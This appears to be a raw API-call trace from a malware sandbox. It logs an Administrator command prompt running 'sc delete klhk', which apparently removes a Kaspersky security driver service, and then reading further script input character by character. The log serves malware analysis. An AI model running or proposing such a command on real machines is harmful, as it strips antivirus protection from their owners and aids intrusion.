[0078.554] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0078.554] GetLastError () returned 0x2 [0078.554] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0078.554] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0078.554] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.554] GetProcessHeap () returned 0x240000 [0078.554] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0078.554] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0078.555] GetProcessHeap () returned 0x240000 [0078.555] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x96) returned 0x259180 [0078.555] GetProcessHeap () returned 0x240000 [0078.555] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x96 [0078.555] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klhk") returned 1 [0078.555] GetProcessHeap () returned 0x240000 [0078.556] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0078.556] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0078.556] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0078.556] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0078.556] GetProcessHeap () returned 0x240000 [0078.556] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0078.556] GetProcessHeap () returned 0x240000 [0078.556] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0078.556] GetProcessHeap () returned 0x240000 [0078.556] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0078.556] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klhk", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klhk", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete klhk", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0xa28, dwThreadId=0x7dc)) returned 1 [0078.560] CloseHandle (hObject=0x54) returned 1 [0078.560] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0078.561] GetProcessHeap () returned 0x240000 [0078.561] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.561] GetEnvironmentStringsW () returned 0x25ba10* [0078.561] GetProcessHeap () returned 0x240000 [0078.561] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0078.561] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0078.561] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0078.561] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0078.561] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0078.604] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0078.604] CloseHandle (hObject=0x50) returned 1 [0078.604] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0078.604] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0078.604] GetProcessHeap () returned 0x240000 [0078.604] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0078.604] GetEnvironmentStringsW () returned 0x261b10* [0078.604] GetProcessHeap () returned 0x240000 [0078.604] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0078.604] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0078.604] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0078.604] GetProcessHeap () returned 0x240000 [0078.604] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0078.604] GetEnvironmentStringsW () returned 0x25ba10* [0078.604] GetProcessHeap () returned 0x240000 [0078.604] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0078.605] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0078.605] GetProcessHeap () returned 0x240000 [0078.605] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0078.605] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0078.605] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0078.605] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.605] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0078.605] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.605] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0078.606] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.606] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0078.606] GetConsoleOutputCP () returned 0x1b5 [0078.606] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0078.606] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0078.606] GetProcessHeap () returned 0x240000 [0078.606] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0078.606] GetProcessHeap () returned 0x240000 [0078.606] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0078.606] GetProcessHeap () returned 0x240000 [0078.606] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0078.606] GetProcessHeap () returned 0x240000 [0078.606] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0078.606] GetProcessHeap () returned 0x240000 [0078.606] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0078.606] GetProcessHeap () returned 0x240000 [0078.607] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0078.607] GetProcessHeap () returned 0x240000 [0078.607] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0078.607] GetProcessHeap () returned 0x240000 [0078.607] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0078.607] GetProcessHeap () returned 0x240000 [0078.607] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0078.607] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0078.607] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.607] GetFileType (hFile=0x120) returned 0x3 [0078.607] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.607] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0078.607] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0078.607] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0078.607] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0078.607] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0078.607] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0078.607] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.607] GetFileType (hFile=0x120) returned 0x3 [0078.607] _get_osfhandle (_FileHandle=1) returned 0x120 [0078.607] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0078.607] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0078.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.608] GetFileType (hFile=0xb8) returned 0x3 [0078.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.608] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.608] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.608] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.608] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.608] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.608] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.608] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.608] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.608] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.608] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.609] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.609] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.609] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.609] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.609] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.609] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.609] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.609] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.609] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.609] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.609] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.609] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.609] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.609] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.609] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.609] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.609] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.609] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"lhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.610] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.610] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.610] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="Khk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.610] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.610] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.610] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="Sk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.610] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.610] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.610] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="D\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.610] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.610] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.610] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="Eflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.610] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.610] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.610] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="1lt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.610] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.610] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.610] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr=".t\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.611] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.611] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.611] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="0\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.611] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.611] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.611] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr=".lt\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.611] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.611] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.611] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="0t\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.611] _get_osfhandle (_FileHandle=0) returned 0xb8 [0078.611] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0078.611] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0078.611] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0078.612] _get_osfhandle (_FileHandle=0) returned 0xb8 